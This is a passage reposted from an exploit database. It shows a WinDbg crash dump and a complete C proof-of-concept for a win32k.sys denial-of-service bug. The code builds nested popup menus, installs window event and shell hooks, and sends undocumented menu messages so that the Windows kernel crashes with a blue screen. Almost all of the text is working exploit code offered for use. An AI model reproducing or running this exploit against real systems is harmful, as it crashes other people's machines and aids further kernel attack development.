USER32!ButtonWndProcWorker+0x910 0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c 0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23 0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b 0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322 0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf 0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d 0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238] 0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe 0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23 0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: kb FOLLOWUP_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: win32k!xxxMenuWindowProc+a09 FOLLOWUP_NAME: MachineOwner FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 Followup: MachineOwner --------- ================ Proof of Concept ================ //#include "stdafx.h" #include <windows.h> #define BSOD_BUTTON 0x9876 HMENU hMenu[3]; ULONG MenuLevel = 0; HWND hTargetMenuWnd = 0; void KeyEvent() { INPUT input; memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); SendInput(1, &input, sizeof(input)); Sleep(50); memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); input.ki.dwFlags = KEYEVENTF_KEYUP; SendInput(1, &input, sizeof(input)); } LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL) { return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0); } return 0; } VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hWnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) { ++MenuLevel; if (MenuLevel == 1) { KeyEvent(); } else if (MenuLevel == 2) { SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); hTargetMenuWnd = hWnd; SendMessage(hTargetMenuWnd, 0x1F2, 0, 0); } } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_COMMAND: if (LOWORD(wParam) == BSOD_BUTTON) { SetWinEventHook( EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), WinEventProc, GetCurrentProcessId(), GetCurrentThreadId(), WINEVENT_OUTOFCONTEXT); TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL); } case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProcA(hWnd, message, wParam, lParam); } return 0; } int APIENTRY WinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ int nCmdShow) { WNDCLASSA Class; Class.style = 0; Class.lpfnWndProc = WndProc; Class.cbClsExtra = 0; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.hIcon = NULL; Class.hCursor = LoadCursor(0, IDC_ARROW); Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); Class.lpszMenuName = NULL; Class.lpszClassName = "MyWinClass"; if (RegisterClassA(&Class) != NULL) { HWND hMainWnd = CreateWindowA( "MyWinClass", "Microsoft Windows Win32k.sys Denial of Service Vulnerability", WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE, 0, 0, 500, 200, NULL, NULL, hInstance, NULL); if (hMainWnd != NULL) { HWND hButton = CreateWindowA( "Button", "Click me to see BSOD", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 150, 50, 200, 50, hMainWnd, (HMENU)BSOD_BUTTON, hInstance, NULL); if (hButton != 0) { hMenu[0] = CreatePopupMenu(); hMenu[1] = CreatePopupMenu(); hMenu[2] = CreatePopupMenu(); AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1"); AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1"); AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1"); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } } return 0; } Sursa: http://www.exploit-db.com/exploits/35326/